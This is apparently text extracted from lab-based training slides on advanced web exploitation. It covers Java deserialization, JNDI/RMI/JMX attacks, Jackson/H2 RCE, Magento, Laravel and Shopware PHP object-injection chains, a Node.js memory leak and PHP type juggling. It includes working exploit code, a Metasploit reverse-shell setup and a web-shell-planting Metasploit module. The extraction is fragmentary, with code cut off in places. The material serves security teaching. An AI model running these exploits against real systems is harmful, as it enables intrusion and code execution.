116 - Advanced - Web - Application - Exploitation Hide01.ir
116 - Advanced - Web - Application - Exploitation Hide01.ir
116 - Advanced - Web - Application - Exploitation Hide01.ir
Application
ReadMe
▪ This course section is accompanied by a Virtual Machine that you must download and import.
The developer user’s password is monica06. By executing sudo su and providing the
aforementioned password you can become root.
▪ This section relies heavily on the excellent work that was done by the infosec community. Some
of the text is a lightly edited version of the original text. Refer to the References part for the full-
blown articles. Credit goes to the respective researchers and companies.
Web application penetration testers should be aware of the Java features that they leverage when
attacking Java applications. Some relevant Java features are polymorphism, serialization and reflection.
Object-oriented programming languages allow for Polymorphism (a.k.a “one interface, various
implementations”). Java does that through interfaces, abstract classes and concrete classes. A great
example is Java’s java.util.Map interface. When a class wants to be considered a Map, it must
implement method signatures that the java.util.Map interface defines. java.util.HashMap is a
known implementation of the aforementioned interface. Programmers are free to create their own
Map implementation, as follows.
If XToZMap included the keyword final in its declaration (concrete class), then the Java Compiler
or JVM would prevent NewMap from being created.
How polymorphism looks like in the “flesh” you may ask? Find an example below…
The reflection API is a quite powerful feature. To get an idea of how it can be used, see the source
code below.
The above code excerpt is an example of implementing Map with reflection. The lambda above
implements the java.lang.reflect.InvocationHandler interface. Upon method invocation the code
above will be called. The handler will be responsible for handling the various method calls.
By studying the Submission class, a Collection<string> member attracts our attention. Collection is
an interface and, as previously discussed, we can leverage polymorphism to provide the server with
our own custom (malicious) collection. Essentially, we will try to override the Collection method
that the server calls.
First, see below how remote code execution can be achieved in Java.
Runtime.getRuntime().exec("touch /tmp/xxx");
Unfortunately, polymorphism (the malicious collection) is not enough to create a working exploit.
During deserialization, classloaders are utilized for finding the bytecode of the passed classes. In
the case of our exploit, those will be missing. Luckily, reflection can be used to make the server
capable of finding and executing our exploit code. Under the hood, reflection will use classes that
the server already contains.
The reflective implementation is facilitated by Closure (like the previously mentioned Java
lambda), since an implementation of it (MethodClosure) can run a system command.
To try the exploitation process yourself, execute the below inside the provided Virtual Machine (in
two different terminals).
java -jar
/home/developer/Downloads/vulnerable/java_security/server/target/server-
0.0.1-SNAPSHOT.jar
java -jar
/home/developer/Downloads/vulnerable/java_security/client/target/client-
0.0.1-SNAPSHOT.jar
Feel free to study the related source code of the client, to see how the exploit was developed.
Java Management Extensions (JMX) is a Java technology that supplies tools for managing and
monitoring applications, system objects, devices (such as printers) and service-oriented networks.
It should be noted that JMX is not only able to read values from a remote system, it can also invoke
methods on the system.
JMX enables managing resources through managed beans. A managed bean (MBean) is a Java Bean
class in accordance with the JMX standard. An application can be managed over JMX through an
MBean that is related to it. Accessing a MBean/JMX service can be performed through the “jconsole”
tool (included on the available JDK).
Connecting to a remote MBean server requires the existence of a JMX connector (on the remote
server).
By default, Java provides a remote JMX connector that is based on Java RMI (Remote Method
Invocation). In general, you can enable JMX by adding the following arguments to the java call.
-Dcom.sun.management.jmxremote.port=2222 -
Dcom.sun.management.jmxremote.authenticate=false -
Dcom.sun.management.jmxremote.ssl=false
If we perform a port scan on the remote system, we should be able to see that the TCP port 2222
actually hosts a RMI naming registry that exposes one object under the name “jmxrmi”. The actual
RMI service can be accessed on a randomly-selected TCP port.
In case we have a client that is not written in Java and therefore can’t use Java RMI, a JMX adaptor is
used to facilitate the entering to the Java environment.
----------
cd /home/developer/Downloads/solr-8.1.1/solr/bin
./solr start
Now, spin up a penetration testing distribution and perform a thorough nmap scan against the
provided Virtual Machine (use the -sC, -sV and -A options, the rmi-dumpregistry nse script may be
needed as well to identify the name where the JMX RMI interface is bound). You should see the below.
use exploit/multi/misc/java_jmx_server
set RHOSTS <the provided vm’s IP>
set RPORT 18983
set payload java/meterpreter/reverse_tcp
set LHOST <your attacking vm’s ip>
run
In other words, JNDI is a simple Java API (such as 'InitialContext.lookup(String name)') that takes just
one string parameter, and if this parameter comes from an untrusted source, it could lead to remote
code execution via remote class loading.
When the name of the requested object is controlled by an attacker, it is possible to point a victim
Java application to a malicious rmi/ldap/corba server and respond with an arbitrary object. If this
object is an instance of "javax.naming.Reference" class, a JNDI client tries to resolve the "classFactory"
and "classFactoryLocation" attributes of this object. If the "classFactory" value is unknown to the
target Java application, Java fetches the factory's bytecode from the "classFactoryLocation" location
by using Java's URLClassLoader.
Due to its simplicity, it is very useful for exploiting Java vulnerabilities even when the
'InitialContext.lookup' method is not directly exposed to the tainted data. In some cases, it still can be
reached via Deserialization or Unsafe Reflection attacks.”
In the provided Virtual Machine open a new terminal and execute intellij-idea-community.
What you will see is a sample application that insecurely utilizes InitialContext.lookup.
import javax.naming.Context;
import javax.naming.InitialContext;
public class HelloWorld {
public static void main(String[] args) throws Exception {
String uri = "rmi://localhost:1097/Object";
Context ctx = new InitialContext();
If what you see inside HelloWorld.java is different than the above. Delete everything and copy-paste
the above code.
If an attacker manages to tamper with the uri String, he will essentially perform a JNDI injection that
will lead to remote code execution, if the utilized JDK version is chronologically before JDK 1.8.0_191.
Remote code execution will be achieved through remote class loading.
To do that as an attacker, you first need to create the malicious class to be loaded. See such a class
below.
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;
public class Object {
public Object() throws IOException,InterruptedException{
String cmd="whoami";
final Process process = Runtime.getRuntime().exec(cmd);
printMessage(process.getInputStream());;
printMessage(process.getErrorStream());
int value=process.waitFor();
System.out.println(value);
}
10
You also need a malicious RMI Server. See such a server below.
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
11
12
In this case, we simulated the JNDI injection. HelloWorld pointed to our EvilRMIServer.
EvilRMIServer successfully caused our malicious class to be loaded into the HelloWorld application
and the specified whoami command was executed successfully.
The same could have been achieved without the EvilRMIServer project, with the help of
https://github.com/mbechler/marshalsec, as follows.
▪ Terminate and close the EvilRMIServer project (keep the python server alive)
▪ Open a new terminal and navigate to /home/developer/Downloads/marshalsec/target
▪ Execute java -cp marshalsec-0.0.3-SNAPSHOT-all.jar
marshalsec.jndi.RMIRefServer http://127.0.0.1:8081/#Object
o
▪ Point the HelloWorld application to port 1099 (simulating a JNDI injection) and click Run
‘HelloWorld’ again.
13
This technique worked well up to Java 8u121 when Oracle added codebase restrictions to RMI.
After that, it was possible to use a malicious LDAP server. You can try this attack in the provided
Virtual Machine as follows.
• Keep the python server that was hosting the malicious class alive.
• Open a new terminal and navigate to /home/developer/Downloads/marshalsec/target
• Execute java -cp marshalsec-0.0.3-SNAHOT-all.jar
marshalsec.jndi.LDAPRefServer http://127.0.0.1:8081/#Object
• Point the HelloWorld application to port 1389 (simulating a JNDI injection) and click Run
‘HelloWorld’ again (notice the protocol change in the code).
14
According to Veracode, “Since Java 8u191, when a JNDI client receives a Reference object, its
"classFactoryLocation" is not used, either in RMI or in LDAP. On the other hand, we still can specify
an arbitrary factory class in the "javaFactory" attribute.
This class will be used to extract the real object from the attacker's controlled
"javax.naming.Reference". It should exist in the target classpath, implement
"javax.naming.spi.ObjectFactory" and have at least a "getObjectInstance" method:
15
The "org.apache.naming.factory.BeanFactory" class within Apache Tomcat Server contains a logic for
bean creation by using reflection.
/**
* Create a new Bean instance.
*
* @param obj The reference object describing the Bean
*/
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable environment)
throws NamingException {
try {
16
...
BeanInfo bi = Introspector.getBeanInfo(beanClass);
PropertyDescriptor[] pda = bi.getPropertyDescriptors();
if (ra != null) {
value = (String)ra.getContent();
Class paramTypes[] = new Class[1];
paramTypes[0] = String.class;
String setterName;
int index;
17
Enumeration e = ref.getAll();
while (e.hasMoreElements()) {
ra = e.nextElement();
String propName = ra.getType();
if (propName.equals(Constants.FACTORY) ||
propName.equals("scope") || propName.equals("auth") ||
propName.equals("forceString") ||
propName.equals("singleton")) {
continue;
}
value = (String)ra.getContent();
18
The "BeanFactory" class creates an instance of arbitrary bean and calls its setters for all properties.
The target bean class name, attributes, and attribute's values all come from the Reference object,
which is controlled by an attacker.
The target class should have a public no-argument constructor and public setters with only one
"String" parameter. In fact, these setters may not necessarily start from 'set..' as "BeanFactory"
contains some logic surrounding how we can specify an arbitrary setter name for any parameter.
if (ra != null) {
value = (String)ra.getContent();
Class paramTypes[] = new Class[1];
paramTypes[0] = String.class;
String setterName;
int index;
19
The magic property used here is "forceString". By setting it, for example, to "x=eval", we can make a
method call with name 'eval' instead of 'setX', for the property 'x'.
So, by utilizing the "BeanFactory" class, we can create an instance of arbitrary class with default
constructor and call any public method with one "String" parameter.
One of the classes that may be useful here is "javax.el.ELProcessor". In its "eval" method, we can
specify a string that will represent a Java expression language template to be executed.
package javax.el;
...
public class ELProcessor {
...
public Object eval(String expression) {
return getValue(expression, Object.class);
}
And here is a malicious expression that executes arbitrary command when evaluated:
{"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getE
ngineByName("JavaScript").eval("new
java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','touch
/tmp/rce']).start()")}
After 1.8.0_191, we need an RMI server that utilizes the above to achieve remote code execution. Such
a malicious RMI server can be found below.
20
You can practice this attack inside the provided Virtual Machine as follows.
21
Inside the /tmp directory a file named rce should now exist!
22
To make this implementation accessible over the network, the server must register a service instance
under a name in a RMI Naming Registry. The service instance gets registered under a certain name.
Clients can query the register to get a reference for the serve-side object and which interfaces its
implements. Most RMI naming registries use the default port (TCP 1099) for the naming registry but
an arbitrary port can be used.
Note: The RMI standard by itself does not provide any form of authentication. This is therefore often
implemented on the application level, for example by providing a “login” method that can be called
by the client. This moves security to the (attacker controlled) client, which is always a bad idea.
RMI services are based on Java Deserialization, they can be exploited if a valid gadget is available in
the classpath of the service. The introduction of JEP 290 killed the known RMI exploits in ysoserial
(RMIRegistryExploit and JRMPClient).
That being said, we can still attack Java RMI services at the application level, as long as no process-
wide filters have been set. This can be achieved:
1. By writing a custom client that will pass a malicious object to the server. This requires
access to an interface (that provides a method that accepts n arbitrary object as an
argument). A real-life example of this is https://nickbloor.co.uk/2018/06/18/another-
coldfusion-rce-cve-2018-4939/
2. By bypassing the fact that most interfaces don’t provide methods that accept an arbitrary
object as argument. Most methods only accept native types like Integer, Long or a class
instance.
i. When a class instance is accepted, this “type” limitation can be bypassed due to
some native RMI functionality on the server side. Specifically, when a RMI client
invokes a method on the server, the method “marshalValue” gets called in
sun.rmi.server.UnicastServerRef.dispatch, to read the method arguments from the
Object input stream.
// unmarshal parameters
Class<?>[] types = method.getParameterTypes();
Object[] params = new Object[types.length];
try {
23
/**
* Unmarshal value from an ObjectInput source using RMI's
serialization
* format for parameters or return values.
*/
protected static Object unmarshalValue(Class<?> type,
ObjectInput in)
throws IOException, ClassNotFoundException
{
if (type.isPrimitive()) {
if (type == int.class) {
return Integer.valueOf(in.readInt());
} else if (type == boolean.class) {
return Boolean.valueOf(in.readBoolean());
} else if (type == byte.class) {
return Byte.valueOf(in.readByte());
} else if (type == char.class) {
return Character.valueOf(in.readChar());
} else if (type == short.class) {
return Short.valueOf(in.readShort());
} else if (type == long.class) {
return Long.valueOf(in.readLong());
} else if (type == float.class) {
return Float.valueOf(in.readFloat());
} else if (type == double.class) {
return Double.valueOf(in.readDouble());
} else {
throw new Error("Unrecognized primitive type:
" + type);
}
} else {
return in.readObject();
}
}
24
▪ Copy the code of the java.rmi package to a new package and change the
code there
▪ Attach a debugger to the running client and replace the objects before
they are serialized
▪ Change the bytecode by using a tool like Javassist
▪ Replace the already serialized objects on the network stream by
implementing a proxy
Let’s try the last approach inside the provided Virtual Machine…
During this lab we will utilize the YouDebug dynamic instrumentation framework. YouDebug
provides a Groovy wrapper for JDI so that it can be easily scripted. What we need to achieve is set a
breakpoint on the “invokeRemoteMethod” from the
“java.rmi.server.RemoteObjectInvocationHandler” class to intercept the communication and replace
the parameters that are passed to the RMI call before they get serialized by the client.
mogwailabs.de were generous enough to provide the community with a such a script and a
vulnerable RMI Service for our tests. The YouDebug script can be found below.
println "Loaded..."
25
vm.ref("java.lang.reflect.Array").set(delegate."@2",idx,
payloadObject);
println "[+] Done.."
}
}
}
To try this attack on the provided Virtual Machine, perform the below.
26
----------
So far, we have seen remote code execution being achieved through class loading. When it comes to
RMI services where a valid gadget is available in the classpath, remote code execution can also be
achieved by attacking the Distributed Garbage Collection (DGC) for deserialization of untrusted data,
in older versions of Java.
To try this attack on the provided Virtual Machine, perform the below.
A file named “xxx” should now exist inside the /tmp directory!
27
We will study how a deserialization vulnerability of an older Jackson library (used for deserializing
JSONs) can result in SSRF and RCE attacks.
(1) The application accepts JSON content sent by an untrusted client (composed either manually or
by a code you did not write and have no visibility or control over) — meaning that you cannot
constrain JSON itself that is being sent
(2) The application uses polymorphic type handling for properties with nominal type of
java.lang.Object (or one of small number of “permissive” tag interfaces such as java.util.Serializable,
java.util.Comparable)
(3) The application has at least one specific “gadget” class to exploit in the Java classpath. In detail,
exploitation requires a class that works with Jackson. In fact, most gadgets only work with specific
libraries — e.g. most commonly reported ones work with JDK serialization
(4) The application uses a version of Jackson that does not (yet) block the specific “gadget” class.
There is a set of published gadgets which grows over time, so it is a race between people finding and
reporting gadgets and the patches. Jackson operates on a blacklist. The deserialization is a “feature”
of the platform and they continually update a blacklist of known gadgets that people report.
What Andrea Brancaleoni at doyensec discovered was that when Jackson deserializes
ch.qos.logback.core.db.DriverManagerConnectionSource, this class can be abused to instantiate a
JDBC connection. Why is this important you may ask?
According to the researcher, “JDBC is a Java API to connect and execute a query with the database
and it is a part of JavaSE (Java Standard Edition). Moreover, JDBC uses an automatic string to class
mapping, as such it is a perfect target to load and execute even more “gadgets” inside the chain.”
28
require 'java'
Dir["./classpath/*.jar"].each do |f|
require f
end
java_import 'com.fasterxml.jackson.databind.ObjectMapper'
java_import 'com.fasterxml.jackson.databind.SerializationFeature'
content = ARGV[0]
puts "Mapping"
mapper = ObjectMapper.new
mapper.enableDefaultTyping()
mapper.configure(SerializationFeature::FAIL_ON_EMPTY_BEANS, false);
puts "Serializing"
obj = mapper.readValue(content, java.lang.Object.java_class) # invokes all
the setters
puts "objectified"
puts "stringified: " + mapper.writeValueAsString(obj)
To try this attack on the provided Virtual Machine, perform the below.
29
JDBC Drivers are classes that, when a JDBC url is passed in, are automatically instantiated and the full
URL is passed to them as an argument, so when getConnection is called, an in-memory database is
instantiated. The above jruby command creates a connection to a remote database (our netcat
listener in this case).
For this we will leverage the H2 JDBC driver being loaded. Specifically, since H2 is implemented inside
the JVM, it has the capability to specify custom aliases containing java code. This behavior/capability
can be abused to achieve remote code execution through the below inject.sql file.
To try this attack on the provided Virtual Machine, perform the below.
30
You should see a file named exploited.txt inside the current directory.
31
Let’s first try the attack inside the provided Virtual Machine and then we will see how the POP chain
was discovered.
// app/code/core/Mage/Adminhtml/controllers/DashboardController.php
public function tunnelAction()
{
$gaData = $this->getRequest()->getParam('ga');
$gaHash = $this->getRequest()->getParam('h');
if ($gaData && $gaHash) {
$newHash = Mage::helper('adminhtml/dashboard_data')-
>getChartDataHash($gaData);
if ($newHash == $gaHash) {
if ($params = unserialize(base64_decode(urldecode($gaData)))) {
To try this attack on the provided Virtual Machine, perform the below.
32
#!/usr/bin/python
# Date: 08/18/2015
# CVE : none
import sys
import re
import base64
import mechanize
33
sys.exit()
if len(sys.argv) != 3:
usage()
# Command-line args
target = sys.argv[1]
arg = sys.argv[2]
# Config.
username = 'ypwq'
password = '123'
payload =
'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_
Writer_Mail\":4:{s:16:' \
'\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTE
RMINATE!\";i:2;s:15:\"' \
34
'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";
s:17:\"\00*\00' \
'_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s
:8:\"\00*\00_data\"' \
';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}'
% (len(php_function), php_function,
len(arg), arg)
br = mechanize.Browser()
br.set_proxies({"http": "localhost:8080"})
br.set_handle_robots(False)
request = br.open(target)
br.select_form(nr=0)
br.form.fixup()
br['login[username]'] = username
br['login[password]'] = password
#userone.value = username
35
#pwone.value = password
br.method = "POST"
request = br.submit()
content = request.read()
url = url.group(1)
key = key.group(1)
tunnel = tunnel.group(1)
payload = base64.b64encode(payload)
gh = md5(payload + install_date).hexdigest()
try:
request = br.open(exploit)
36
If you now forward all intercepted requests in Burp you will eventually see the result of the specified
command inside the final response.
The included (and autoloaded) Varien library provides all gadgets we need to execute arbitrary code
on the server.
The deprecated class Varien_File_Uploader_Image provides a destructor as our initial gadget that
allows us to jump to arbitrary clean() methods.
// lib/Varien/File/Uploader/Image.php:357
function __destruct()
{
$this->uploader->Clean();
}
This way, we can jump to the clean() method of the class Varien_Cache_Backend_Database. It fetches
a database adapter from the property _adapter and executes a TRUNCATE TABLE query with its
37
// lib/Varien/Cache/Backend/Database.php
public function clean($mode = Zend_Cache::CLEANING_MODE_ALL, $tags = array())
{
$adapter = $this->_adapter;
switch($mode) {
case Zend_Cache::CLEANING_MODE_ALL:
if ($this->_options['store_data']) {
$result = $adapter->query('TRUNCATE TABLE '.$this-
>_options['data_table']);
}
...
}
}
If we provide the Varien_Db_Adapter_Pdo_Mysql as database adapter, its query() method passes along
the query to the very interesting method _prepareQuery(), before the query is executed.
// lib/Varien/Db/Adapter/Pdo/Mysql.php
public function query($sql, $bind = array())
{
try {
$this->_checkDdlTransaction($sql);
$this->_prepareQuery($sql, $bind);
$result = parent::query($sql, $bind);
} catch (Exception $e) {
...
}
}
The _prepareQuery() method uses the _queryHook property for reflection. Not only the method name
is reflected, but also the receiving object. This allows us to call any method of any class in the Magento
code base with control of the first argument.
38
From here it wasn’t hard to find a critical method that operates on its properties or its first parameter.
For example, we can jump to the filter() method of the Varien_Filter_Template_Simple class. Here, the
regular expression of a preg_replace() call is built dynamically with the properties _startTag and
_endTag that we control. More importantly, the dangerous eval modifier is already appended to the
regular expression, which leads to the execution of the second preg_replace() argument as PHP code.
// lib/Varien/Filter/Template/Simple.php
public function filter($value)
{
return preg_replace('#'.$this->_startTag.'(.*?)'.$this->_endTag.'#e',
'$this->getData("$1")', $value);
}
In the executed PHP code of the second preg_replace() argument, the match of the first group is used
($1). Important to note are the double quotes that allow us to execute arbitrary PHP code by using
curly brace syntax.
Now we can put everything together. We inject a Varien_File_Uploader_Image object that will invoke
the class’ destructor. In the uploader property we create a Varien_Cache_Backend_Database object, in
order to invoke its clean() method. We point the object’s _adapter property to a
Varien_Db_Adapter_Pdo_Mysql object, so that its query() method also triggers the valuable
_prepareQuery() method. In the _options[‘data_table’] property, we can specify our PHP code payload,
for example:
{${system(id)}}RIPS
39
When we not set the Varien_Filter_Template_Simple object’s property _startTag to TRUNCATE TABLE
and the property _endTag to RIPS the first match group of the regular expression in the preg_replace()
call will be our PHP code. Thus, the following PHP code will be executed:
$this->getData("{${system(id)}}")
In order to determine the variables name, the system() call will be evaluated within the curly syntax.
This leads us to execution of arbitrary PHP code or system commands.
The complete exploit that creates the POP chain that we sent can be found below. Note that there is
also a hash validation part. To learn more about it, refer to the original article,
https://websec.wordpress.com/2014/12/08/magento-1-9-0-1-poi.
<?php
class Zend_Db_Profiler {
protected $_enabled = false;
}
class Varien_Filter_Template_Simple {
protected $_startTag;
protected $_endTag;
public function __construct() {
$this->_startTag = 'TRUNCATE TABLE ';
$this->_endTag = 'RIPS';
}
}
class Varien_Db_Adapter_Pdo_Mysql {
protected $_transactionLevel = 0;
protected $_queryHook;
protected $_profiler;
public function __construct() {
$this->_queryHook = array();
$this->_queryHook['object'] = new Varien_Filter_Template_Simple;
$this->_queryHook['method'] = 'filter';
40
Let’s also see how a Laravel 5.7 POP chain was identified and lead to an RCE vulnerability.
To try this attack on the provided Virtual Machine, perform the below.
▪ cd /home/developer/Downloads/laravel57
▪ php artisan serve
41
You should see the specified command (uname -a) inside the chain.php being executed.
Try to figure out how the POP chain was created, start by analyzing
Illuminate/Foundation/Testing/PendingCommand.php
▪ The __destruct() method should catch your attention. The main idea is to construct a payload
that will trigger __destruct() and then call the run method to achieve RCE.
So far, we have talked about PHP Object Injection when attacking PHP deserialization. When
pentesting PHP applications there may be cases when we are able to instantiate an object in the PHP
application of an arbitrary class. This is known as PHP Object Instantiation and should not be
confused with PHP Object Injection.
Let’s analyze a PHP Object Instantiation vulnerability in Shopware (version <= 5.3.3 and >= 5.1), to
better understand this attack.
This specific object instantiation vulnerability spans over multiple files and classes. The point of
injection resides in the feature to preview product streams in the shopware backend. Here, the user
parameter sort is received in the loadPreviewAction() method of the
Shopware_Controllers_Backend_ProductStream controller.
42
//Components/ProductStream/Repository.php
namespace Shopware\Components\ProductStream;
class Repository implements RepositoryInterface
{
public function unserialize($serializedConditions)
{
return $this->reflector->unserialize($serializedConditions,
'Serialization error in Product stream');
}
}
The user input is passed along in the first parameter. Here, it ends up in a foreach loop.
//Components/LogawareReflectionHelper.php
namespace Shopware\Components;
43
Each array key of the user input is then passed to a createInstanceFromNamedArguments() method
as $className.
//Components/LogawareReflectionHelper.php
namespace Shopware\Components;
class ReflectionHelper
{
public function createInstanceFromNamedArguments($className, $arguments)
{
$reflectionClass = new \ReflectionClass($className);
⋮
$constructorParams = $reflectionClass->getConstructor()-
>getParameters();
⋮
// Check if all required parameters are given in $arguments
⋮
return $reflectionClass->newInstanceArgs($arguments);
}
44
Finally, the keypoint is the instantiation of an object with ReflectionClass of the type specified in
$className. The invocation of the newInstanceArgs() method with user controlled input in
$arguments allows to specify the arguments of the constructor. ReflectionClass is part of the reflection
API introduced with PHP 5. It allows retrieving information (available methods, their awaited
parameters, etc.) about all classes accessible at a given point during execution. As the name implies,
newInstanceArgs() creates an instance of a class with given parameters. So basically, at this point, we
can instantiate arbitrary objects.
To try this attack on the provided Virtual Machine, perform the below.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
45
register_options(
[
OptString.new('TARGETURI', [true, "Base Shopware path", '/']),
46
def do_login
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'backend', 'Login',
'login'),
'vars_post' => {
'username' => datastore['username'],
'password' => datastore['password'],
}
)
unless res
fail_with(Failure::Unreachable, "Connection failed")
end
if res.code == 200
cookie =
res.get_cookies.scan(%r{(SHOPWAREBACKEND=.{26};)}).flatten.first
if res.nil?
return
end
return cookie
end
return
end
def get_webroot(cookie)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'backend', 'systeminfo',
'info'),
'cookie' => cookie
)
unless res
fail_with(Failure::Unreachable, "Connection failed")
end
if res.code == 200
return res.body.scan(%r{DOCUMENT_ROOT </td><td class="v">(.*)
</td></tr>}).flatten.first
end
return
end
47
def generate_phar(webroot)
php =
Rex::FileUtils.normalize_unix_path("#{webroot}#{target_uri.path}media/#
{@shll_bd}.php")
register_file_for_cleanup("#{@shll_bd}.php")
pop =
"O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":2:{s:41:\"\x00GuzzleHttp\\C
ookie\\FileCookieJar\x00filename\";"
pop << "s:#{php.length}:\"#{php}\";"
pop << "s:36:\"\x00GuzzleHttp\\Cookie\\CookieJar\x00cookies\";"
pop <<
"a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\x00GuzzleHt
tp\\Cookie\\SetCookie\x00data\";"
pop << "a:3:{s:5:\"Value\";"
pop << "s:48:\"<?php
eval(base64_decode($_SERVER[HTTP_#{@header}])); ?>\";"
pop << "s:7:\"Expires\";"
pop << "b:1;"
pop << "s:7:\"Discard\";"
pop << "b:0;}}}}"
file = Rex::Text.rand_text_alpha_lower(8)
stub = "<?php __HALT_COMPILER(); ?>\r\n"
file_contents = Rex::Text.rand_text_alpha_lower(20)
file_crc32 = Zlib::crc32(file_contents) & 0xffffffff
manifest_len = 40 + pop.length + file.length
phar = stub
phar << [manifest_len].pack('V') # length of manifest
in bytes
phar << [0x1].pack('V') # number of files in
the phar
48
49
50
def exec_code
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "media",
"#{@shll_bd}.php"),
'raw_headers' => "#{@header}:
#{Rex::Text.encode_base64(payload.encoded)}\r\n"
}, 1)
end
def check
cookie = do_login
if cookie.nil?
vprint_error "Authentication was unsuccessful"
return Exploit::CheckCode::Safe
end
csrf_token = leak_csrf(cookie)
if csrf_token.nil?
vprint_error "Unable to leak the CSRF token"
return Exploit::CheckCode::Safe
end
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'backend',
'ProductStream', 'loadPreview'),
'cookie' => cookie,
'headers' => { 'X-CSRF-Token' => csrf_token }
)
if res.code == 200 && res.body =~ /Shop not found/i
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
@phar_bd = Rex::Text.rand_text_alpha_lower(8)
@shll_bd = Rex::Text.rand_text_alpha_lower(8)
@header = Rex::Text.rand_text_alpha_upper(2)
cookie = do_login
if cookie.nil?
51
52
If you are unfamiliar with phar, please study the below resources.
https://www.ixiacom.com/company/blog/exploiting-php-phar-deserialization-vulnerabilities-
part-1
https://www.ixiacom.com/company/blog/exploiting-php-phar-deserialization-vulnerabilities-
part-2
53
At the end of the Attacking Authentication module, we promised to show you a case where a relatively
secure HMAC implementation can be subverted by attacking Node.js’s memory.
To try this attack on the provided Virtual Machine, perform the below.
▪ cd /home/developer/Downloads/nodejs_hacking/hackme
▪ ./setup.sh
Base64-decoding the session cookie reveals, {"admin":"no"}. Maybe changing this to yet will
allow us to login. Unfortunately that is not the case because the cookie is HMAC-protected.
54
The config.js file contains dummy session_keys. Based on our code analysis above, those keys should
be used to generate the HMAC for the cookies.
On to the index.js file now, we notice that the /login functionality checks if a password is set. Then it
creates a Buffer() from the password and converts the Buffer to a base64 string, which can then be
compared to secret_password. If this operation is successful, the session would set admin = 'yes'.
That Buffer class is the root cause of a memory-leaking vulnerability that exists. When Buffer is
called with a string, it will create a Buffer containing those bytes. But if it's called with a number,
NodeJS will allocate an n byte big Buffer. But if you look closely, the buffer is not simply <Buffer 00
00 00 00>. It seems to always contain different values. That is because Buffer(number) doesn't zero
the memory, and it can leak data that was previously allocated on the heap. You can read more
about this issue here, https://github.com/nodejs/node/issues/4660.
Since we have a JSON middleware (app.use(bodyParser.json())), we can actually send POST data that
contains a number. And when we do that, the API will return some memory that is leaked from the
heap.
If we now remember that crypto creates a Buffer from the key, this means that an old session key
could be leaked from memory.
55
With a legitimate session key, it is pretty much game over. You can now create a {"admin": "yes"}
cookie with a valid signature.
Much like Python and JavaScript, PHP is a dynamically typed language. This means that variable types
are checked while the program is executing. Dynamic typing allows developers to be more flexible
when using PHP. But this kind of flexibility sometimes causes unexpected errors in the program flow
and can even introduce critical vulnerabilities into the application.
Let’s dive into PHP type juggling, and how it can lead to authentication bypass vulnerabilities.
In other words, type juggling in PHP is caused by an issue of loose operations versus strict operations.
Strict comparisons will compare both the data values and the types associated to them. A loose
comparison will use context to understand what type the data is. According to PHP documentation
for comparison operations at http://php.net/manual/en/language.operators.comparison.php: “If
you compare a number with a string or the comparison involves numerical strings, then each string
is converted to a number and the comparison performed numerically. These rules also apply to the
switch statement. The type conversion does not take place when the comparison is === or !== as this
involves comparing the type as well as the value (strict comparison mode).”
56
Let’s now utilize what we learned about type juggling against a vulnerable application…
57
Navigate to http://shopware.local/juggling.php
<?php
// $FLAG, $USER and $PASSWORD_SHA256 in secret file
require("secret.php");
// show my source code
if(isset($_GET['source'])){
show_source(__FILE__);
die();
}
58
print $pageStart;
?>
According to what we have covered so far regarding type juggling and according to the following
resource (http://repository.root-me.org/Exploitation%20-%20Web/EN%20-
%20PHP%20loose%20comparison%20-%20Type%20Juggling%20-%20OWASP.pdf) we can
exploit the loose comparison in green, as follows.
Toggle the developer tools inside the browser and paste the below into the console.
59
61